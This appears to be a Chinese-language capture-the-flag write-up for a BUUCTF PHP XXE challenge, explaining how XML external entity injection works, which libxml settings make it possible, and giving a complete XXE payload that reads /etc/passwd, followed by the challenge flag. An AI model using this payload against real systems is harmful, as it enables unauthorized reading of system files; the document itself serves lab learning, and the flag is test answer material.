BUUCTF-Real-[PHP]XXE

目录

1、原理

2、XXE漏洞产生的原因

3、开始复现

paylaod

复现

4、flag

1、原理

复制代码
XML数据在传输过程中,攻击者强制XML解析器去访问攻击者指定的资源内容(本地/远程),外部实体声明关键字'SYSTEM'会令XML解析器读取数据,并允许它在XML文档中被替换,构造恶意的值,去执行!

XML解析方式:DOM,SAX,JDOM,DOM4J,StAX......都可能会出现外部实体注入漏洞

2、XXE漏洞产生的原因

复制代码
低版本php

libxml<2.9.1

设置了libxml_disable_entity_loader为FALSE

3、开始复现

复制代码
libxml2.9.0以后,默认不解析外部实体,导致XXE漏洞稀少!

dom.php、SimpleXMLElement.php、simplexml_load_string.php都可以触发XXE漏洞
paylaod
复制代码
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
    <!ELEMENT name ANY >
    <!ENTITY xxe SYSTEM "file:///etc/passwd" >
]>
<root>
    <name>&xxe;</name>
</root>
复现

复制代码
这里我用的是 SimpleXMLElement.php 

这里使用payload查看了/etc/passwd文件!证实了xxe漏洞可以进行文件读取!

4、flag


复制代码
是的,在主页就可以找到!

flag{ad2eb59a-d433-4168-99ce-a27245df049b} 
相关推荐
GCKJ_08241 小时前
【观成科技】C2框架AdaptixC2加密流量分析
网络安全·同态加密
heze092 小时前
sqli-labs-Less-24
mysql·网络安全
天荒地老笑话么2 小时前
Linux 里 chmod 755 file.txt 是什么意思(权限配置)
linux·运维·服务器·网络安全
枷锁—sha3 小时前
【CTF笔记篇】SQL 注入总结
数据库·笔记·sql·安全·网络安全
MESMarketing4 小时前
互动分享 | ISO 26262安全分析概览
功能测试·测试工具·安全·网络安全·matlab
Whoami!4 小时前
⓫⁄₃ ⟦ OSCP ⬖ 研记 ⟧ Windows权限提升 ➱ 获取目标主机的基本信息(下)
windows·网络安全·信息安全·信息收集
BOB-wangbaohai4 小时前
软考-系统架构师-信息安全技术基础知识(三)
网络安全·软考·系统架构设计师
Kaede617 小时前
排除网络故障需要做什么?查看网络故障的步骤
网络安全·云计算
周某人姓周17 小时前
sqlilabs靶场通关详解
数据库·mysql·安全·网络安全
运维行者_1 天前
OpManager 对接 ERP 避坑指南,网络自动化提升数据同步效率
运维·服务器·开发语言·网络·microsoft·网络安全·php